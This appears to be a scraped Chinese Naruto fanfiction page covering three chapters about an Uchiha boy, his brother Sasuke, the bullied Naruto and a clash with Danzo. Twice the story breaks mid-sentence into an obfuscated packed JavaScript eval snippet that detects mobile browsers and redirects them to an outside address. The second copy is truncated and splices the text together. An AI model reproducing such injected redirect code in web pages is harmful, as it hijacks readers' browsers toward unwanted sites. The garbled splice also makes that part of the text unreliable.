《从在木叶当止水弟弟开始》 1. 第 1 章 木叶五十六年。 集市里的人多得有些挤了。叫卖声从各个方向涌来,夹杂着不同地区的口音。偶尔还能听见几个商人在用蹩脚的木叶方言讨价还价。 宇智波羽怀走得很慢。他左手牵着佐助,右手垂在身侧,目光从两旁的摊位上扫过。烤肉、团子、忍具、布料,都只是扫一眼就移开。 “哥哥。” 佐助的声音从身侧传来。 “嗯?” “今天不是说要开族会吗?还有止水哥也会回来,你不用在家等他?” 羽怀低头看了弟弟一眼。佐助正仰着脸看他,那双乌黑的眼睛里满是好奇。 “止水反正早晚都会见到的,不用急。而且,不就是因为要开族会,父亲母亲还有鼬都没空,所以才只好让我来接你吗?” 他抬起手,按在佐助头顶,揉了揉。毛茸茸的触感从掌心传来。佐助的头发和他的一样软,这点倒是从没变过。 他比佐助大三岁,身高差十五厘米左右。而现在这个差距正在慢慢缩小。 “而且佐助今天可是拿了全校第一的好成绩。”羽怀收回手,嘴角弯了一下,“如果没人来接,岂不是会很失望?” 佐助的小脸微微上扬,双眸眯起。 “才不会呢。”他说,下巴抬得很高,“哥哥们都是一年就毕业了。我这个不算什么。” 羽怀看着他那张故作骄傲的脸,没戳穿。 “不说这些了。”他说,“佐助想要什么奖励?哥哥最近刚执行完一个高级任务回来,拿了很多赏金。” 他确实拿了不少。一个月的高强度任务,A级起步,中间还穿插了几次紧急支援。赏金足够买下半个集市的小玩意儿。 佐助的眉头皱起来。他看着那些琳琅满目的商品,目光从一个摊位移到另一个,最后停在羽怀脸上。 “那……”他顿了顿,“我想哥哥和鼬哥不要吵架了。” 羽怀面上的笑容僵了一下。 “我没有和鼬吵架。” “可是鼬哥说自己之前和你吵了一架。”佐助伸出手比划了一下,像是在丈量什么东西的长度,“你生气了,才跑出去做了一个这么长的任务。” 一个月。对这个年纪的佐助来说,确实很长了。 羽怀下意识摸了摸下巴,双眼微微眯起。 他和鼬确实在出任务前闹了点小矛盾。具体内容就是件无关紧要的小事,只记得两人没吵几句,止水就从旁边冒出来,一人赏了一个脑瓜崩。 止水的手劲不小,他疼了好一会儿。 而他出去做任务,是因为真的有任务。他是专业的忍者。一个月的任务期限,也说明那不是C级D级的安全任务。每次出任务他都是冒着风险去的,不可能因为赌气这种原因去接任务。 这可是在拿自己的生命开玩笑。 不过鼬既然这么说,肯定有他的目的。 “那他有和你说,”羽怀摆出一副生气的模样,“我们是为什么吵架的吗?” 他在套话,很明显的套话。但佐助没看出来。 佐助摇摇头。 “没有。”他说,手指摩挲着衣角,“不过鼬哥他最近回来的越来越晚,心情也不太好。他已经好久没笑了。” 他的目光落在羽怀脸上。 “我问他出什么事了,他就跟我说是和你吵架了……” 羽怀的眼神变了。 变得有些锐利。 鼬也是一名专业的忍者,而情绪管理也算是基本功中的一种。 能让佐助都明显地感觉出来,说明发生的事情并不小。 在他走的这一个月里,肯定发生了什么事。而且是能让鼬精神紧张的事。 绝对不可能是“和弟弟吵架”这种用来糊弄佐助的小事。 而且,这件事鼬不想让佐助知道。 可能也不想让他知道,否则他肯定会传信过来。 不过现在,还是得先把佐助安抚好。 羽怀低头,凑到佐助耳边。 “那我告诉你,我们为什么吵架。” 他的声音压得很低,摆出一副分享秘密的样子。 “宇智波鼬他——不敲门就闯进了我的房间,没收了我刚买的小说。” 佐助明显愣了一下。随即转过头,那双大眼睛直直地盯着他,眼里满是不敢置信。 “就因为……这个?” “不信你就去问鼬。”羽怀摆出一副气鼓鼓的模样,“我这一个月都在外面出任务,可没时间和他串供。” 他相信以鼬的经验,如果佐助真去问了,肯定也会和他一样套佐助的话,然后配合他把这场戏演下去。 佐助的眉头皱得更紧了。 “虽然不敲门就进房间确实有些不好,”他说,“但也不至于……” 他说不下去了。脸上的担忧之色已经彻底消散,取而代之的是一种微妙的表情。 像是为难,又像是某种滤镜碎掉之后的表情。 但羽怀没打算给他足够的思考的时间。 这种时候就是要尽快转移话题,让佐助的注意力从这事上面挪开。 “别管鼬了。”他说,“佐助想要什么奖励?” 两人已经快把整条商业街逛完了。再逛下去,回去就有些晚了。 佐助回过神来,又沉默了两秒。 “那,”他抬起头,“我想要一把忍刀。” “忍刀?” 羽怀有些意外。 忍刀对佐助这个年龄的孩子来说太早了。以他现在身高,刀背在后背都可能影响行动。更别说挥刀需要的腕力和体魄。 “忍刀?”他又确认了一遍,“那要到专门的忍具店去买,或者回族里定做一把。不过佐助,为什么想要忍刀?是不是太早了点?” 他确实在用刀,也一直在教佐助刀术的基本功。但在他的计划里,现在就让佐助拿刀,还是太早了。 “可是哥哥当年就是七岁开始学的呀?” 羽怀噎住了。 他确实是七岁开始练刀。那一年鼬送了他一把刀作为生日礼物,从铁之国专门定做的。那把刀他现在还在用,陪着他砍了不少敌人。 他张了张嘴,又闭上。 最后他调整了一下表情。 “那我得去铁之国找熟悉的匠人定做一把。”他说,“佐助可能要等一会儿。” 铁之国匠人锻造的刀质量没得说。但质量高意味着工艺复杂,从下订单到成品,花上几个月很正常。 “好的。”佐助露出满意的笑容,“哥哥真好。” 他牵起羽怀的手,两人朝着族地的方向走去。 —— 离开木叶的繁华地带,天色渐渐暗下来。空气变得潮湿阴冷,带着一点泥土的气息。 周围越来越荒凉。 第三次忍界大战结束还不到十年。九尾之乱才过去七年。木叶还在休养生息的阶段,还没顾得上开发这片边缘地带。 但其他忍村没有闲着。 木叶占据了最肥沃的土地,又经历了九尾之乱、四代火影战死,元气大伤。很多忍村的高层有些按捺不住了。 所以木叶忍者的任务没有减少。暗部整天忙得跟陀螺似的。止水和鼬三天两头不着家。 这只是外患。 内部,三代火影虽然复出,但年事已高。他的实力下滑,精力也不够支撑高强度政务,不得不分出一些权力给火影顾问。 人才方面,年轻一代中没有像四代那样的强者。或者说能出一个四代那样的强者已经说明木叶是人杰地灵了。 三代的三个弟子倒是有着堪比一村之影级的实力,但一个叛逃了,一个患了恐血症,最后一个在追第一个叛逃的。 他先前那一个月的任务,就和这三个人有关。 走着走着,羽怀停下了脚步。 “哥哥,怎么了?”佐助也跟着停下,疑惑地看着他。 “没什么。”羽怀揉了揉眉心,“走吧。” 他总觉得有人想坑他。这是任务中磨练出来的直觉。 就在刚才,他察觉到不远处的树上藏着几名木叶忍者。他不清楚对方的身份,也许是执行任务的暗部。 这本来没什么,暗部可以在木叶的任何地方出现。 但宇智波族地附近的木叶暗部忍者,数量确实有些多了。 族地的位置在木叶边缘,不是什么度假胜地。而训练场在另一个方向,这里并不是必经之路。 总之,有猫腻。 不过现在他得先把佐助送回家。之后再找机会问问鼬和止水。 随着两人继续前进,前方渐渐传来了嘈杂声。 有人在打架。 这个描述并不准确。根据声音判断,应该是有人在单方面挨揍。 随着他们靠近,小孩的声音逐渐清晰起来。 “你这个妖狐,居然还真的敢过来?” “就是你,害得我父母都牺牲了!现在我连个给成绩单签名的人都没有,你怎么不去死?” “真搞不懂忍者学校怎么会收你这种人。我们兄弟几个今天打死你,也算是为木叶除害了!” 尖细的声音在荒凉的地方格外刺耳。伴随着鞋子踢在□□上的沉闷声响。 羽怀和佐助朝声音的方向看去。 一群孩子围成一圈,年龄不一,高矮胖瘦都有。其中年纪最大的,看起来已经是六年级的准毕业生了,和鼬一样大,比羽怀还大两岁。 圈子里,一个满身尘土的金发男孩蜷缩在地上。 “我没有……”他的声音有些颤抖,“我过来是以为你们需要我帮忙……” 话没说完,肚子就被狠狠踢了一脚。胃里的酸水呛进口鼻,把他的话强行打断。 “呕——” 他下意识捂住口鼻。 “笑话!”又是一脚踢过去,“你这个祸害死了就是对我们最大的帮助!” 羽怀隐约听见了肋骨断裂的声音。 今天是忍者学校发成绩单的日子。作业很简单:把成绩单带回去给家长看看,签个字。 而出现在这里的孩子,都是没有父母的。 他们的父母大多是忍者,死在了第三次忍界大战,或者九尾之乱。 这个作业他们大概是没办法完成了。 “你们在干什么!” 佐助的声音炸开。 他的手已经摸上忍具包,掏出一把苦无。他原本想直接扔出去,但想了想不能杀人,就准备拿着苦无冲上去干架。 然后他停住了。 他的手紧紧捏着苦无,脸上浮现犹豫之色。 那些孩子发现了他们,但没有人在意。两个年龄不大的小鬼而已,不值得担心。 羽怀抬头看了看四周的树。 那些位置,有几名忍者的气息。应该是看管九尾人柱力的暗部。 他很奇怪,这些暗部为什么不出手?鸣人作为人柱力的恢复力很强,但这也不是理由。 而且就在宇智波族地附近,族人开族会的时间,发生针对九尾人柱力的恶性霸凌事件。 总觉得背后有事。 “怎么了,佐助?”他问。 “被打的那个,是漩涡鸣人。”佐助的声音有些紧,“我之前和父亲还有鼬哥提过他。当然,只是因为他在班级里挺闹腾的,所以我才对他有点印象而已。” 他顿了顿。 “不过父亲和我说,最好不要和鸣人走得太近。看到鸣人身上发生什么事,也……不要管。” 他的小脸皱成一团。 “我去问鼬哥,他说让我听父亲的。” 佐助的嘴紧紧抿着,手里的苦无似乎都变得烫手起来。 “但佐助想帮他是吗?” “不想。”佐助说,“只是看那些人以多欺少,有些不爽而已。” 他的想法全写在脸上。就算不是忍者也能看出来。 羽怀不清楚富岳和鼬的用意。但他知道一件事。 九尾人柱力漩涡鸣人,是四代火影的儿子。 他们家与四代火影家的关系不错。鸣人的母亲漩涡玖辛奈是宇智波美琴的好闺蜜。他和鼬小时候还被美琴带去四代家里,给这位阿姨解闷。 那是九尾之乱前的事了。 那些孩子虽然不是忍者,但下手完全没有轻重。如果换一个普通孩子,那几脚已经要了命。 事已至此,先把人救下来再说。 “佐助。”他说,“你帮我把风。有大人过来就通知我。我去救人。” 正常情况下,暗部有保护鸣人的义务。卡卡西作为四代的弟子,也常在任务间隙偷偷来看鸣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299230|198619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。其他有家族的忍者都知道鸣人的身份,了解人柱力的概念,不会欺负他。 普通村民不知道人柱力的概念,只是把鸣人当作九尾的化身。但大多数也只是避开和孤立,像这种恶性霸凌事件,确实没怎么发生过。 瞬身术发动。 羽怀出现在一名暗部忍者身后。 那名忍者一开始就注意到了他们,全神贯注地盯着这边。但他什么都没捕捉到。 “什——” 才吐出一个字,羽怀的手刀已经到了他后颈。 巨力传来。暗部忍者的身体猛地一晃,眼前泛起白光,下一刻变成漆黑。 身体无力地瘫软,从树上落下去。 砰。 □□与地面的碰撞声沉闷地响起。落叶和灰尘溅起老高。 其他三名忍者反应很快。几道忍术同时朝羽怀袭来。 但羽怀的瞬身术更快。他们释放忍术的同时,刀把已经砸到他们后脑勺。 又是几声闷响。然后是重物落地的声音。 那些围着鸣人的小鬼终于察觉到不对。 “怎么回事?”一个小胖子把脚从鸣人腰上移开,东张西望,“闹鬼了?” 他年纪不大,体重和秋道一族的同龄人有得一拼。别人用脚踢,他用脚踩。换作别的孩子,内脏早就破裂了。 话音落下。 一道璀璨的月牙状刀芒迎面飞来。 小胖子只觉得头皮一阵酥麻,头发根根竖起。身体比意识先一步做出反应。 一滩水渍出现在他裤□□,颜色快速变深。 他被吓得尿了裤子。 发现自己还活着,没有被一刀劈成两半,他的灵魂才逐渐归位。但双腿已经无法站立,整个人如同烂泥般瘫软下去。 然而事情并没有结束。 下一刻,他全身的衣服就像是被剪刀从中间剪开一样。一分为二,然后化作飞灰,消失不见。 同样的情景发生在所有施暴者身上。 十几道璀璨的刀芒带着刺耳的尖啸声,朝那些学生飞射过去。 这种速度的刀芒,上忍躲起来都吃力。更别说这些还没毕业的学生了。 他们完全没意识到发生了什么。只看见一条蓝紫色的细线在视野里不断放大,穿过他们的身体。 濒死的体验让他们中的不少人失禁。地上歪七扭八倒了一片。超过一半的人直接被吓晕。 衣服也全部化作飞灰。 这附近只有宇智波族地。他们不是宇智波的人,大概率只能光着屁股回去。 羽怀像拎小猫一样把鸣人拎起来,瞬身回到佐助身边。 鸣人的重量比佐助轻不少。看来也是个不好好吃饭的小孩。 放下鸣人后,羽怀下意识地想摸佐助的头,但想到自己刚砍完人,把手收了回去。 佐助把苦无收回忍具包,眼里亮晶晶的。 “哥哥,”他说,“刀芒比豪火球酷多了。我想学这个。” “等你的刀到了,我就教你。” 羽怀无奈地笑了笑,随口敷衍了一句。 写轮眼不知何时已经浮现,在鸣人身上扫了一下,又迅速消失。 突然出现的人柱力,异常的暗部… 他得留个后手,也算是给鸣人加上一道护身符。 鸣人一副鼻青脸肿的模样。蓝色的眼睛因为肿胀无法睁开。 “他们为什么打你?”羽怀问。 “你们……”鸣人的声音从肿胀的嘴唇间挤出来,牵扯到伤口,发出一声痛呼,“嘶——为什么救我?” “喂,”佐助双手叉腰,下巴微抬,“我们帮了你,你怎么这个态度?” 他的身高没比鸣人高多少,却成功摆出了居高临下的架势。 “我不是这个意思。”鸣人下意识后退一步,“我是说,帮了我的人会有麻烦的。我不想给你们带来麻烦。总之,谢谢你们。” 他顿了顿,像是下定了某种决心。 “那个,他们说的没错。我就是九尾妖狐,是怪物。所以,现在你们知道为什么了吧?” 鸣人闭上睁不开的眼睛。手指下意识瑟缩了一下。 他确实被一些人帮助过。但那些人得知他的身份后,要么会说一些难听的话,要么默默离去。之后再也没见过。 这次也是一样的吧。 但与其欺骗对方,不如直接承认。免得给别人添麻烦。 “佐助,”羽怀说,“他好像没认出你?” 也许是眼睛还肿着看不见,也许是小孩子的自尊心不想在同学面前出丑,也可能是想撇清关系。总之,如果是对认识的人,鸣人大概不会这么说。 “佐助?” 鸣人愣了一下。 九尾查克拉快速修复着他的身体。面部的肿胀消退了一些,他终于能看清面前的人了。 佐助的眼里仿佛能释放火遁。 他张口想说什么,又觉得说什么都像在自作多情。最后只能双手抱肩,把头一扭,冷哼一声。 “那么鸣人,”羽怀发出邀请,“要不要去我们家做客呀?” 一半是想逗佐助,一半是想保证鸣人的安全。 那些暗部——也许是暗部吧——都被他打晕了。让鸣人去家里洗个澡,睡一觉也没关系。等卡卡西或者三代有空了,再把他送回去就行。 美琴应该也很乐意养几天鸣人。 她好闺蜜的儿子。 “不可以!”佐助的声音炸开。 “今晚我们都要去开族会。”羽怀说,“正好能让鸣人陪你玩。” “我为什么要他陪我玩?”佐助的脸涨红,“我还要训练呢。” “那就一起训练呗。” 鸣人站在一旁,看着宇智波兄弟的互动。 眼底闪过一丝羡慕。 最终,在佐助的抗议下,鸣人还是没能去佐助家。 而在羽怀和佐助离开后,鸣人犹豫了一会儿,缓缓朝着宇智波族地的方向走去。 一段时间后。 几名暗部忍者姗姗来迟。他们看着满地的狼藉,陷入沉默。 其中一人检查了倒地忍者的伤势。 “是根部的人。”他说。 “总之,快去禀告火影大人。” 暗部忍者们迅速消失。 2. 第 2 章 回到族长宅,羽怀抬头看了眼天色。 “我回来了。” 佐助推开门,像往常一样喊了一声。 没人回应。这个时间,父亲母亲应该都在神社开族会。 佐助脱下鞋子,跑到厨房,从桌上抱了几份便当出来,塞进羽怀的怀里。 “应该是妈妈做的。”他说,“多的也许是给止水哥和鼬哥的?” 羽怀低头看了看那些便当。总共三份,用布巾包着,还温着。 “带到族会上吃,会不会不好?” 他第一次参加族会,没什么经验。他的眉头略微皱起,眼神里带着点抗拒。 “从分量上看,已经减少很多了。”佐助踮起脚,伸手摸了摸他的头,“如果哥哥不吃完,妈妈大概会生气。” 羽怀没说话。 “再说,”佐助收回手,“哥哥再不吃饭,到时候大概会比我矮。” “别说了,佐助。” 羽怀双眼一闭,转身就走。 该说佐助和鼬不愧是兄弟。管他的时候,模样都挺像。 “也不要喂给忍猫——”佐助的声音从身后追上来,“它们要吃的更清淡一些,我是说就算——” “佐助,族会已经开始了。” 瞬身之术发动,羽怀带着三份便当消失在原地。 —— 族地里很安静。这次族会罕见的要求所有成年族人到场,所以路上现在没什么人。 大人们都去开族会了,小孩也被要求留在家里,不许出门乱跑。 羽怀把便当收进封印卷轴,正琢磨着怎么处理自己的那份。 突然,一道白色身影从拐角处闪出,出现在他的面前。 暗部的制服,但没戴面具,只是用面罩遮住了下半张脸。忍者护额斜戴着,挡住了一只眼睛。 “卡卡西哥哥?” 羽怀停下脚步,语气里带着意外。 “哟,小羽怀。”卡卡西抬手打了个招呼,露出的那只眼睛弯起来,“你知道鼬和止水在哪吗?” “欸?他们应该在开族会吧?” 羽怀一边说,一边从卷轴里取出自己那份便当,塞进卡卡西手里。 “美琴阿姨新做的。卡卡西哥哥也尝尝。” 卡卡西手腕一转,把便当推回来。 “上次被你骗着帮忙解决掉后,止水可是狠狠数落了我一顿。” 卡卡西的眼里有些无奈,随即闪过一点忧虑。 “我去南贺神社那边问过了。止水和鼬大概都没参加族会。” “啊?” 羽怀的双眼微微睁大。 “我听说这次族会很重要。”他说,“富岳族长千叮咛万嘱咐,一定要他们参加的……” 他顿了顿,想起了另一件事。 “我的那些族叔……会让你进去?” 族会对宇智波来说不只是开会,还有祭祀祖先的意义。不太可能让一个外人进去。 “看在我帮带土处理了后事的份上,”卡卡西的声音低了些,“他们倒是没有马上把我轰出来。不过也没让我进去就是了。” 宇智波带土,在三战中牺牲的木叶英雄。 牺牲时大概只有十三岁。 虽然带土是宇智波一族的人,而且走的时候还很年轻,但他的家人走得比他还早。 所以当带土的死讯传来时,并没有直系亲属能帮他处理后事。 卡卡西作为带土的挚友,最后承担了这份工作。 羽怀踮起脚,拍了拍他的肩膀。 “带土哥既然让你帮他处理后事,把写轮眼送给你,”他说,“说明他已经把你当成家人了。所以你也算半个宇智波族人。” “也许吧。”卡卡西敷衍道。 他很快又开口。 “不过小羽怀,除了鼬和止水,三代也有事找你。” “找我?”羽怀的眉头皱起来,“我才刚写完任务报告没多久。” 他的嘴角下撇,情绪明显地低落下去。 “这个嘛,”卡卡西说,“我也不知道具体情况。但感觉不是坏事。” 他的神情轻松了一瞬,但很快又恢复原本的状态。 “现在属于加班时间。不知道鼬和止水他们两个躲哪去了。希望我能快点找到。” 卡卡西开了个玩笑,但语气里的担忧仍旧无法掩盖。 —— 告别卡卡西,羽怀继续往族会方向走去。 南贺神社离得不远。三代找自己的事情肯定也要和族人们说一声。 况且自己只是去说一声,花不了多少时间。 神社周围的风景很一般。就是些普通的树和水。平时除了族会,族人们也不常来。 羽怀敲了敲门。 门内隐约的争吵声停了下来。脚步声靠近,门被拉开。 “谁呀?”来人脸上带着明显的不悦,但在低头看见羽怀后,神色明显柔和了下来,“哟,小羽怀来了。快进来吧,吃过饭了没有?” 他伸手想把羽怀带进去。 但羽怀伸手挡住了。 “族叔。”他说,“火影那边找我有事。我可能得过去一趟。” 他探头从族叔身后往里扫了一眼。 族会里的人分成两股,坐在左右两边。富岳则是坐在高台正中间。 而止水和鼬,确实都不在。 “额……这个时候?”族叔有些犹豫。 “让他去吧。”富岳的声音从里面传出来,“正好看看鼬和止水是不是也在那边。” 旁边一个年轻族人的情绪有些激动。 “可是族长,我们——” “没有可是。” 富岳打断他,挥了挥手,示意羽怀离开。 族叔犹豫了一下也朝着羽怀点了点头。 “好吧。”他说,“去看看你哥哥们是不是在火影大人那边。你如果见到他们,就也跟他们讲一下——无论怎样,族会还是要参加的。大家还是得坐下来谈一谈……” 他扭头朝神社里看了一眼,面上浮现一抹尴尬。 “算了。你快去吧。” 他朝羽怀笑了笑,缓缓合上门。 门刚关上,里面又传来隐约的争吵声。羽怀后退几步,声音彻底消失。 他的眉头皱了起来。 族会的争吵一直都有。但大家都是一个大家族的人,像这样直接分成两股坐在两边,还真是头一次。 从佐助那套来的鼬的异常。族会里浓重的火药味。止水和鼬的缺席。 每件事都在给他敲警钟。 族人和村子有矛盾。但他从来没参加过族会,族人不会把这些仇恨跟一个孩子说。他顶多从止水和鼬口中了解到一些只言片语。 但如果,止水和鼬一直在骗他呢?他们的本意可能是好的,但他们真的能解决族人和村子的问题吗? 他得做些什么,比如去问问三代大人具体的情况。 可能不能直接问…… 离开族地,前往火影大楼的路上,羽怀路过那片小树林。 鸣人下午被欺负的地方。 他停了一下。如果鸣人还没吃饭,可以把便当给他。 但树林里空无一人。 木叶村中心区域。 火影大楼灯火通明。天色已经全黑,但加班的人并不少。 羽怀推开了火影办公室的门。 但还没等他看清里面的情况,就感觉身后有人靠近。下一秒,他就双脚离地,整个人被托了起来。 “怎么回村了还是一点肉都不涨?” 声音很熟。有种为老不尊的感觉。 “自来也。”三代火影的声音从办公桌后传来,他把烟斗熄灭,放在几案上,“这里是火影大楼,你把人放下。” 自来也把羽怀放下,拍了拍他的肩膀。 羽怀扭头看他,嘴角一撇。 “好色仙人,你回来干什么?” “哇,你这小鬼,这是什么态度?”自来也夸张地弯下腰,盯着他的脸,“我可是因为你们一族的事情才回来的。伟大的自来也大人愿意暂时放下寻找预言之子的使命回来帮忙,你难道不该表示一下吗?” “表示什么?”羽怀伸手推开他的脸,“我之前任务的赏金几乎全被你拿走了。有你这么当老大的吗?” 他双手抱胸。 “再说我们一族能有什么事?止水和鼬的天赋不用多说,富岳族长也正值壮年。无论怎么看都是木叶第一大族。” 自来也愣了一下,随即露出不怀好意的笑容。 “小羽怀。”他说,“你之前在外面做任务时那精明的模样哪去了?你不会真的一点都没察觉吧?还是说察觉了但不愿意多想?” “我干嘛要把对付敌人那套用自己族人身上?”羽怀说,“本来我马上就要去族会的。有什么事我不能在族会上听到?” 他伸手想抓自来也的头发,被灵活躲开。 “好了,都停下。”三代揉了揉额角,露出命苦的表情。 两人立刻消停。羽怀还用瞬身术给三代沏了杯茶。 “所以火影爷爷找我是出了什么事?”他瞟了眼旁边和他一起蹲着的自来也。 他不信火影会因为自来也回来这件事特意让他过来一趟。 通过自来也的话判断,他回来似乎和宇智波一族有关。考虑到族人和村子逐渐增加的矛盾,羽怀大致能猜到火影的想法。 自来也的忍道是让全世界的人相互理解,实现和平。但如果连同一个村子的同伴都不能相互理解,还谈什么世界和平? 自来也回来的目的之一,就是调解宇智波和木叶最近有些紧张的关系。 “小羽怀,你还是一两年前比较可爱。”自来也嘟囔着,刻意压低声音,“看到我被澡堂的女忍们围攻的时候,还能上来帮我解围呢。” 在场的都是强大忍者。压低声音说话和正常说话没区别。 三代假装没听见,开口回应羽怀。 “先说关于你之前提交的任务报告的事。” 他站起身,从文件堆里挑出一份卷轴,递给两人。 羽怀和自来也接过卷轴展开。 羽怀那个耗时一个月的任务评级是A级,内容是协助寻找并活捉叛忍大蛇丸。 之所以只能判到A级,是因为在他的任务规划中,没有与大蛇丸的正面接触。 当然,实际情况总是充满了意外,最后的任务难度还是要以忍者上报的情况为准。 与大蛇丸相关的情报任务,主要由自来也负责。虽然有妙木山的预言,但身为木叶三忍、木叶高级战力,不可能真的只是单纯在外面云游。 在云游的过程中,一些相关的情报任务也是由自来也承担的。 “所以大蛇丸可能最近会在木叶附近出没?”羽怀问。 这是他根据整合起来的任务情报做出的判断。 “是的。”三代点头,“还需要麻烦你和卡卡西去获取更多情报。” 羽怀愣了一下。 “火影爷爷未免太看得起我了。”他连忙摆手,“我可不敢和大蛇丸正面交手。” “不要妄自菲薄,小羽怀。”自来也伸手揽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过羽怀目前关心的还是宇智波一族和木叶的关系。 再考虑到九尾人柱力的现状,以及从佐助嘴里套出来的鼬的异常,他有了些不好的推测。 “族里,是不是做了什么?”他的声音有些干涩。 他有些担心,现在事情是不是已经无法挽回了。 应该不会,否则自己就不会被请来了。 但应该已经是站在悬崖边上了。 像这忍村内部势力的矛盾,他在其他国家做任务时见过不少,甚至还参与过一些,也算是有点实践经验。 总之,一旦一个势力能让一村之影都控制不住局面,结局往往都不好。 但以前,他是木叶的忍者,看别的忍村内斗时可以抽身事外。 但在木叶,他不可以。 如果今天的族会上,富岳让他或者止水或者鼬去刺杀木叶高层,他该怎么做? 如果族里和村子的矛盾到了这个地步,他该选哪边? 身为宇智波镜的后代,三代等木叶高层对他照顾有加。但如果没有族人的照顾,他可能活不过两岁。 止水只比他大五岁,根本照顾不了他。他父母死得早,是周围的族人帮忙他才能活下来。哪怕是两岁后被族长一家收养,对方也从来没有亏待过他。 他不可能抽身事外。 他都怀疑自己是否真的有资格对族人的要求说不? 就在羽怀在进行头脑风暴的时候。 一只手按在他头上,把头发揉乱。 自来也的声音里没有了以往的没心没肺,只留下属于三忍的沉稳。 “如果我连自己村的同伴都没办法让他们相互理解,”他说,“又怎么可能培养出预言之子,让全忍界都相互理解?” 他蹲下身来,仔细盯着羽怀的脸。 “你说的对,你还小,所以还可以相信一下我们这些大人。你哥哥止水和鼬也是这样的想法。我们里应外合,一定能解决问题。” “鼬和止水……也是这么想的?” 羽怀的神色有些犹豫。他想起了先前和鼬的争吵。 鼬对族人的气量一直颇有微词。他倒也不是反对,只是觉得鼬的步子迈得太大,完全没有考虑族人的感受。 哪怕是千手柱间将千手一族彻底融入木叶,也花了两代人的时间。宇智波想要转变思想也需要时间。最重要的是,千手已经出了两个火影,宇智波一个都没有。 只有得到过后,才有资格说放下。否则只是吃不到葡萄说葡萄酸。 他晃晃脑袋,把思绪甩出去,转开话题。 “说什么呢?”他用手把自来也的手打开,梳理被弄乱的头发,“你们真的靠谱会让我去抓大蛇丸?抓大蛇丸可是很危险的。” 气氛缓和下来。羽怀很想知道族人和村子的关系具体发展到了哪一步,但三代和自来也都没有说的意思。 然而下一刻,办公室的门被突然推开。 “日斩。” 志村团藏的声音从身后传来。 “宇智波羽怀无故打伤执行公务的根部忍者。我需要你给我一个解释。” 羽怀扭头,看见那位一向对宇智波不对付的木叶高层。 他的眼神瞬间冷下来。气息锁定了团藏,身体下意识重心下压,同时手朝背后的刀把摸去。 如果说木叶和宇智波一族最后会打起来,团藏绝对会是这件事的“最大功臣”。 3. 第 3 章 “看来我不用再多费功夫出去找你了。念在你投案自首的态度,我们会从轻发落的。” 志村团藏的声音从身后传来,低沉冰冷,那只露出的独眼里满是戏谑。 宇智波羽怀扭过头。 团藏站在门口,身后跟着两名根部忍者。他拄着拐杖,右臂和半边脸都缠着绷带,那只独眼正盯着羽怀,嘴角挂着一丝若有若无的笑。 羽怀的目光从他脸上扫过,落在他身后那两个戴着动物面具的根部身上,又移回来。 他的手按在刀柄上。指节因为用力泛出青白色。一秒。两秒。 他强迫自己松开。 等到根部忍者退出办公室,羽怀才开口讽刺道: “那些一看就训练不到家的暗部,都是你的人?” 他猜到了团藏说的是谁。那些围观鸣人被欺负的“暗部”。其实是根部的人。他们躲在树上,也许是在等着鸣人被打到极限,好出来扮演救世主。 团藏的独眼闭上,露出惋惜的神色。 “无论实力强弱,他们都在为木叶默默付出。”他睁开眼,目光落在羽怀身上,“反倒是你和一些人,拥有强大的实力和血脉,却不愿意为木叶做出一点小小的牺牲。” 羽怀的眉头皱起。 “宇智波一族和千手一族联合建村的时候,你还没我大。”他说,声音压得很低,“忍界大战死了多少宇智波,你比我清楚。少在这阴阳怪气。” 他知道团藏在激他。但这种对族人的诋毁,还是让他不爽。他想起父亲的墓碑,想起那些在战争中死去的族人。他们用命换来的,就是被这种人说“不愿意牺牲”? “团藏,够了。”三代火影开口。 他坐在办公桌后,手里握着烟斗。面色严肃,皱纹比平时更深。 “宇智波是木叶的一份子。你忘了镜吗?” 团藏没有惧色。他只是偏过头,看着三代。 “我当然记得。他的写轮眼帮了我们许多。”他的目光又扫回羽怀,嘴角上翘,“但如果镜还活着,看到现在宇智波一族的气量,也会失望。他的后代完全没有继承他的意志。作为老友,我们应当替他管教。” 羽怀的手指又按上刀柄。 但他没动。 “我说,够了。” 三代站起身来。 影级强者的威压瞬间释放。办公桌上的卷轴被气流吹飞,啪嗒落在地上。烟斗里的烟灰被震落,飘散在空中。那个平时和蔼的邻家长者消失了,取而代之的是带着木叶打赢两次忍界大战的忍雄。 团藏被那气势震了一下。那只独眼下意识避开三代的视线,但很快又挪回来。 他冷笑出声。 “猿飞日斩,你没必要在这装老好人。”他的声音淡淡,“由根部监视鸣人的任务,是你签的字。” 三代的眉头动了动,没说话。 团藏又看向羽怀,那只独眼里满是嘲弄。 “能控制九尾的方法,能有几个?九尾之乱如果不是宇智波动的手,那就是人柱力自己失控。”他顿了顿,“为了让村子能安稳使用人柱力,我需要知道他的忍耐极限。” 羽怀的手握成拳,松开,又握紧。 团藏的意思很清楚——宇智波是九尾之乱的幕后真凶。鸣人现在的遭遇,是在替宇智波背锅。 他知道能控制九尾的方式只有三种:木遁,写轮眼,人柱力自己失控。当然还有第四种可能——玖辛奈分娩时封印减弱,九尾自己脱困。九尾之乱属于天灾。 这也是自来也和三代的想法。 玖辛奈分娩的位置是村子最高机密。宇智波一族没人知道。而且不是随便什么写轮眼都能控制九尾,得是宇智波斑那个层次。 所以这口锅扣得就莫名其妙。 九尾之乱时,他已经有记忆了。那天晚上,鼬左手牵着他,右手抱着佐助,往安全的地方跑。警务部的族人在疏散村民。之后重建,宇智波被赶到木叶边缘,就是现在住的地方。警务部的权力被收回大半,分给暗部。 那几天富岳心情不好,很晚才回家。美琴阿姨总是等在门口,桌上的饭菜热了又凉。 现在团藏又拿九尾之乱说事,显然没安好心。 